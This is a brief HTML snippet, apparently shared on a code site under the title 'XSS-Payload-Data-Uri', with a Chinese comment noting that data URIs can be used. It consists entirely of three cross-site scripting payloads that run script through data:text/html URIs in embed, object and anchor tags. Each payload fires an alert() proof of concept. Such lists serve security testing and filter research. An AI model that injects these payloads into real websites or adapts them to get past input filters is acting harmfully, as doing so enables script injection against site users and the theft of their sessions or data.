XSS-Payload-Data-Uri
by zicai
HTML
<!-- 可以使用 data uri -->
<embed src="data:text/html,<script>alert('embed-src')</script>" type="">
<object data="data:text/html,<script>alert('object-data')</script>" type=""></object>
<a href="data:text/html,<script>alert('a-href')</script>">click me</a>